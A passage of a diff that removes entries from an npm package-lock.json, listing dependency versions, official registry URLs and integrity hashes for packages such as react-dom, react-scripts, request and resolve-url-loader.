-          }
-        },
-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        },
-        "path-key": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
-          "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
-        },
-        "pkg-up": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz",
-          "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==",
-          "requires": {
-            "find-up": "^3.0.0"
-          },
-          "dependencies": {
-            "find-up": {
-              "version": "3.0.0",
-              "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-              "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-              "requires": {
-                "locate-path": "^3.0.0"
-              }
-            }
-          }
-        },
-        "shebang-command": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
-          "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
-          "requires": {
-            "shebang-regex": "^3.0.0"
-          }
-        },
-        "shebang-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
-          "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
-        },
-        "strip-ansi": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
-          "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
-          "requires": {
-            "ansi-regex": "^5.0.0"
-          },
-          "dependencies": {
-            "ansi-regex": {
-              "version": "5.0.0",
-              "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
-              "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
-            }
-          }
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
-          "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "react-dom": {
-      "version": "16.13.1",
-      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz",
-      "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==",
-      "requires": {
-        "loose-envify": "^1.1.0",
-        "object-assign": "^4.1.1",
-        "prop-types": "^15.6.2",
-        "scheduler": "^0.19.1"
-      }
-    },
-    "react-error-overlay": {
-      "version": "6.0.7",
-      "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.7.tgz",
-      "integrity": "sha512-TAv1KJFh3RhqxNvhzxj6LeT5NWklP6rDr2a0jaTfsZ5wSZWHOGeqQyejUp3xxLfPt2UpyJEcVQB/zyPcmonNFA=="
-    },
-    "react-is": {
-      "version": "16.13.1",
-      "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
-      "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
-    },
-    "react-scripts": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-3.4.1.tgz",
-      "integrity": "sha512-JpTdi/0Sfd31mZA6Ukx+lq5j1JoKItX7qqEK4OiACjVQletM1P38g49d9/D0yTxp9FrSF+xpJFStkGgKEIRjlQ==",
-      "requires": {
-        "@babel/core": "7.9.0",
-        "@svgr/webpack": "4.3.3",
-        "@typescript-eslint/eslint-plugin": "^2.10.0",
-        "@typescript-eslint/parser": "^2.10.0",
-        "babel-eslint": "10.1.0",
-        "babel-jest": "^24.9.0",
-        "babel-loader": "8.1.0",
-        "babel-plugin-named-asset-import": "^0.3.6",
-        "babel-preset-react-app": "^9.1.2",
-        "camelcase": "^5.3.1",
-        "case-sensitive-paths-webpack-plugin": "2.3.0",
-        "css-loader": "3.4.2",
-        "dotenv": "8.2.0",
-        "dotenv-expand": "5.1.0",
-        "eslint": "^6.6.0",
-        "eslint-config-react-app": "^5.2.1",
-        "eslint-loader": "3.0.3",
-        "eslint-plugin-flowtype": "4.6.0",
-        "eslint-plugin-import": "2.20.1",
-        "eslint-plugin-jsx-a11y": "6.2.3",
-        "eslint-plugin-react": "7.19.0",
-        "eslint-plugin-react-hooks": "^1.6.1",
-        "file-loader": "4.3.0",
-        "fs-extra": "^8.1.0",
-        "fsevents": "2.1.2",
-        "html-webpack-plugin": "4.0.0-beta.11",
-        "identity-obj-proxy": "3.0.0",
-        "jest": "24.9.0",
-        "jest-environment-jsdom-fourteen": "1.0.1",
-        "jest-resolve": "24.9.0",
-        "jest-watch-typeahead": "0.4.2",
-        "mini-css-extract-plugin": "0.9.0",
-        "optimize-css-assets-webpack-plugin": "5.0.3",
-        "pnp-webpack-plugin": "1.6.4",
-        "postcss-flexbugs-fixes": "4.1.0",
-        "postcss-loader": "3.0.0",
-        "postcss-normalize": "8.0.1",
-        "postcss-preset-env": "6.7.0",
-        "postcss-safe-parser": "4.0.1",
-        "react-app-polyfill": "^1.0.6",
-        "react-dev-utils": "^10.2.1",
-        "resolve": "1.15.0",
-        "resolve-url-loader": "3.1.1",
-        "sass-loader": "8.0.2",
-        "semver": "6.3.0",
-        "style-loader": "0.23.1",
-        "terser-webpack-plugin": "2.3.5",
-        "ts-pnp": "1.1.6",
-        "url-loader": "2.3.0",
-        "webpack": "4.42.0",
-        "webpack-dev-server": "3.10.3",
-        "webpack-manifest-plugin": "2.2.0",
-        "workbox-webpack-plugin": "4.3.1"
-      }
-    },
-    "read-pkg": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-3.0.0.tgz",
-      "integrity": "sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=",
-      "requires": {
-        "load-json-file": "^4.0.0",
-        "normalize-package-data": "^2.3.2",
-        "path-type": "^3.0.0"
-      }
-    },
-    "read-pkg-up": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-4.0.0.tgz",
-      "integrity": "sha512-6etQSH7nJGsK0RbG/2TeDzZFa8shjQ1um+SwQQ5cwKy0dhSXdOncEhb1CPpvQG4h7FyOV6EB6YlV0yJvZQNAkA==",
-      "requires": {
-        "find-up": "^3.0.0",
-        "read-pkg": "^3.0.0"
-      },
-      "dependencies": {
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        }
-      }
-    },
-    "readable-stream": {
-      "version": "3.6.0",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-      "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-      "requires": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
-      }
-    },
-    "readdirp": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.3.0.tgz",
-      "integrity": "sha512-zz0pAkSPOXXm1viEwygWIPSPkcBYjW1xU5j/JBh5t9bGCJwa6f9+BJa6VaB2g+b55yVrmXzqkyLf4xaWYM0IkQ==",
-      "requires": {
-        "picomatch": "^2.0.7"
-      }
-    },
-    "realpath-native": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/realpath-native/-/realpath-native-1.1.0.tgz",
-      "integrity": "sha512-wlgPA6cCIIg9gKz0fgAPjnzh4yR/LnXovwuo9hvyGvx3h8nX4+/iLZplfUWasXpqD8BdnGnP5njOFjkUwPzvjA==",
-      "requires": {
-        "util.promisify": "^1.0.0"
-      }
-    },
-    "recursive-readdir": {
-      "version": "2.2.2",
-      "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.2.tgz",
-      "integrity": "sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==",
-      "requires": {
-        "minimatch": "3.0.4"
-      }
-    },
-    "redent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
-      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
-      "requires": {
-        "indent-string": "^4.0.0",
-        "strip-indent": "^3.0.0"
-      }
-    },
-    "regenerate": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz",
-      "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg=="
-    },
-    "regenerate-unicode-properties": {
-      "version": "8.2.0",
-      "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz",
-      "integrity": "sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==",
-      "requires": {
-        "regenerate": "^1.4.0"
-      }
-    },
-    "regenerator-runtime": {
-      "version": "0.13.5",
-      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz",
-      "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA=="
-    },
-    "regenerator-transform": {
-      "version": "0.14.4",
-      "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.4.tgz",
-      "integrity": "sha512-EaJaKPBI9GvKpvUz2mz4fhx7WPgvwRLY9v3hlNHWmAuJHI13T4nwKnNvm5RWJzEdnI5g5UwtOww+S8IdoUC2bw==",
-      "requires": {
-        "@babel/runtime": "^7.8.4",
-        "private": "^0.1.8"
-      }
-    },
-    "regex-not": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
-      "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
-      "requires": {
-        "extend-shallow": "^3.0.2",
-        "safe-regex": "^1.1.0"
-      }
-    },
-    "regex-parser": {
-      "version": "2.2.10",
-      "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.2.10.tgz",
-      "integrity": "sha512-8t6074A68gHfU8Neftl0Le6KTDwfGAj7IyjPIMSfikI2wJUTHDMaIq42bUsfVnj8mhx0R+45rdUXHGpN164avA=="
-    },
-    "regexp.prototype.flags": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz",
-      "integrity": "sha512-2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0-next.1"
-      }
-    },
-    "regexpp": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.1.0.tgz",
-      "integrity": "sha512-ZOIzd8yVsQQA7j8GCSlPGXwg5PfmA1mrq0JP4nGhh54LaKN3xdai/vHUDu74pKwV8OxseMS65u2NImosQcSD0Q=="
-    },
-    "regexpu-core": {
-      "version": "4.7.0",
-      "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz",
-      "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==",
-      "requires": {
-        "regenerate": "^1.4.0",
-        "regenerate-unicode-properties": "^8.2.0",
-        "regjsgen": "^0.5.1",
-        "regjsparser": "^0.6.4",
-        "unicode-match-property-ecmascript": "^1.0.4",
-        "unicode-match-property-value-ecmascript": "^1.2.0"
-      }
-    },
-    "regjsgen": {
-      "version": "0.5.1",
-      "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.1.tgz",
-      "integrity": "sha512-5qxzGZjDs9w4tzT3TPhCJqWdCc3RLYwy9J2NB0nm5Lz+S273lvWcpjaTGHsT1dc6Hhfq41uSEOw8wBmxrKOuyg=="
-    },
-    "regjsparser": {
-      "version": "0.6.4",
-      "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz",
-      "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==",
-      "requires": {
-        "jsesc": "~0.5.0"
-      },
-      "dependencies": {
-        "jsesc": {
-          "version": "0.5.0",
-          "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
-          "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0="
-        }
-      }
-    },
-    "relateurl": {
-      "version": "0.2.7",
-      "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
-      "integrity": "sha1-VNvzd+UUQKypCkzSdGANP/LYiKk="
-    },
-    "remove-trailing-separator": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
-      "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8="
-    },
-    "renderkid": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.3.tgz",
-      "integrity": "sha512-z8CLQp7EZBPCwCnncgf9C4XAi3WR0dv+uWu/PjIyhhAb5d6IJ/QZqlHFprHeKT+59//V6BNUsLbvN8+2LarxGA==",
-      "requires": {
-        "css-select": "^1.1.0",
-        "dom-converter": "^0.2",
-        "htmlparser2": "^3.3.0",
-        "strip-ansi": "^3.0.0",
-        "utila": "^0.4.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
-          "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-        },
-        "css-select": {
-          "version": "1.2.0",
-          "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.2.0.tgz",
-          "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=",
-          "requires": {
-            "boolbase": "~1.0.0",
-            "css-what": "2.1",
-            "domutils": "1.5.1",
-            "nth-check": "~1.0.1"
-          }
-        },
-        "css-what": {
-          "version": "2.1.3",
-          "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.3.tgz",
-          "integrity": "sha512-a+EPoD+uZiNfh+5fxw2nO9QwFa6nJe2Or35fGY6Ipw1R3R4AGz1d1TEZrCegvw2YTmZ0jXirGYlzxxpYSHwpEg=="
-        },
-        "domutils": {
-          "version": "1.5.1",
-          "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz",
-          "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=",
-          "requires": {
-            "dom-serializer": "0",
-            "domelementtype": "1"
-          }
-        },
-        "strip-ansi": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
-          "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
-          "requires": {
-            "ansi-regex": "^2.0.0"
-          }
-        }
-      }
-    },
-    "repeat-element": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.3.tgz",
-      "integrity": "sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g=="
-    },
-    "repeat-string": {
-      "version": "1.6.1",
-      "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
-      "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc="
-    },
-    "request": {
-      "version": "2.88.2",
-      "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
-      "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
-      "requires": {
-        "aws-sign2": "~0.7.0",
-        "aws4": "^1.8.0",
-        "caseless": "~0.12.0",
-        "combined-stream": "~1.0.6",
-        "extend": "~3.0.2",
-        "forever-agent": "~0.6.1",
-        "form-data": "~2.3.2",
-        "har-validator": "~5.1.3",
-        "http-signature": "~1.2.0",
-        "is-typedarray": "~1.0.0",
-        "isstream": "~0.1.2",
-        "json-stringify-safe": "~5.0.1",
-        "mime-types": "~2.1.19",
-        "oauth-sign": "~0.9.0",
-        "performance-now": "^2.1.0",
-        "qs": "~6.5.2",
-        "safe-buffer": "^5.1.2",
-        "tough-cookie": "~2.5.0",
-        "tunnel-agent": "^0.6.0",
-        "uuid": "^3.3.2"
-      }
-    },
-    "request-promise-core": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.3.tgz",
-      "integrity": "sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==",
-      "requires": {
-        "lodash": "^4.17.15"
-      }
-    },
-    "request-promise-native": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/request-promise-native/-/request-promise-native-1.0.8.tgz",
-      "integrity": "sha512-dapwLGqkHtwL5AEbfenuzjTYg35Jd6KPytsC2/TLkVMz8rm+tNt72MGUWT1RP/aYawMpN6HqbNGBQaRcBtjQMQ==",
-      "requires": {
-        "request-promise-core": "1.1.3",
-        "stealthy-require": "^1.1.1",
-        "tough-cookie": "^2.3.3"
-      }
-    },
-    "require-directory": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
-      "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I="
-    },
-    "require-main-filename": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
-      "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg=="
-    },
-    "requires-port": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
-      "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8="
-    },
-    "resolve": {
-      "version": "1.15.0",
-      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.15.0.tgz",
-      "integrity": "sha512-+hTmAldEGE80U2wJJDC1lebb5jWqvTYAfm3YZ1ckk1gBr0MnCqUKlwK1e+anaFljIl+F5tR5IoZcm4ZDA1zMQw==",
-      "requires": {
-        "path-parse": "^1.0.6"
-      }
-    },
-    "resolve-cwd": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-2.0.0.tgz",
-      "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=",
-      "requires": {
-        "resolve-from": "^3.0.0"
-      }
-    },
-    "resolve-from": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
-      "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
-    },
-    "resolve-url": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
-      "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo="
-    },
-    "resolve-url-loader": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-3.1.1.tgz",
-      "integrity": "sha512-K1N5xUjj7v0l2j/3Sgs5b8CjrrgtC70SmdCuZiJ8tSyb5J+uk3FoeZ4b7yTnH6j7ngI+Bc5bldHJIa8hYdu2gQ==",
-      "requires": {
-        "adjust-sourcemap-loader": "2.0.0",
-        "camelcase": "5.3.1",
-        "compose-function": "3.0.3",
-        "convert-source-map": "1.7.0",
-        "es6-iterator": "2.0.3",
-        "loader-utils": "1.2.3",
-        "postcss": "7.0.21",
-        "rework": "1.0.1",
-        "rework-visit": "1.0.0",
-        "source-map": "0.6.1"
-      },
-      "dependencies": {
-        "emojis-list": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz",
-          "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k="
-        },
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
-          "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.2.3",
-          "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
-          "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^2.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "postcss": {
-          "version": "7.0.21",
-          "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.21.tgz",
-          "integrity": "sha512-uIFtJElxJo29QC753JzhidoAhvp/e/Exezkdhfmt8AymWT6/5B7W1WmponYWkHk2eg6sONyTch0A3nkMPun3SQ==",
-          "requires": {
-            "chalk": "^2.4.2",
-            "source-map": "^0.6.1",
-            "supports-color": "^6.1.0"
-          }
-        },
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
-          "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "restore-cursor": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
-      "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==",
-      "requires": {
-        "onetime": "^5.1.0",
-        "signal-exit": "^3.0.2"
-      }
-    },
-    "ret": {
-      "version": "0.1.15",
-      "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
-      "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg=="
-    },
-    "retry": {
-      "version": "0.12.0",
-      "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
-      "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs="
-    },
-    "rework": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/rework/-/rework-1.0.1.tgz",
-      "integrity": "sha1-MIBqhBNCtUUQqkEQhQzUhTQUSqc=",
-      "requires": {
-        "convert-source-map": "^0.3.3",
-        "css": "^2.0.0"
-      },
-      "dependencies": {
-        "convert-source-map": {
-          "version": "0.3.5",
-          "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-0.3.5.tgz",
-          "integrity": "sha1-8dgClQr33SYxof6+BZZVDIarMZA="
-        }
-      }
-    },
-    "rework-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/rework-visit/-/rework-visit-1.0.0.tgz",
-      "integrity": "sha1-mUWygD8hni96ygCtuLyfZA+ELJo="
-    },
-    "rgb-regex": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/rgb-regex/-/rgb-regex-1.0.1.tgz",
-      "integrity": "sha1-wODWiC3w4jviVKR16O3UGRX+rrE="
-    },
-    "rgba-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/rgba-regex/-/rgba-regex-1.0.0.tgz",
-      "integrity": "sha1-QzdOLiyglosO8VI0YLfXMP8i7rM="
-    },
-    "rimraf": {
-      "version": "2.6.3",
-      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
-      "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
-      "requires": {
-        "glob": "^7.1.3"
-      }
-    },
-    "ripemd160": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz",
-      "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==",
-      "requires": {
-        "hash-base": "^3.0.0",
-        "inherits": "^2.0.1"
-      }
-    },
-    "rsvp": {
-      "version": "4.8.5",
-      "resolved": "https://registry.npmjs.org/rsvp/-/rsvp-4.8.5.tgz",
-      "integrity": "sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA=="
-    },
-    "run-async": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.0.tgz",
-      "integrity": "sha512-xJTbh/d7Lm7SBhc1tNvTpeCHaEzoyxPrqNlvSdMfBTYwaY++UJFyXUOxAtsRUXjlqOfj8luNaR9vjCh4KeV+pg==",
-      "requires": {
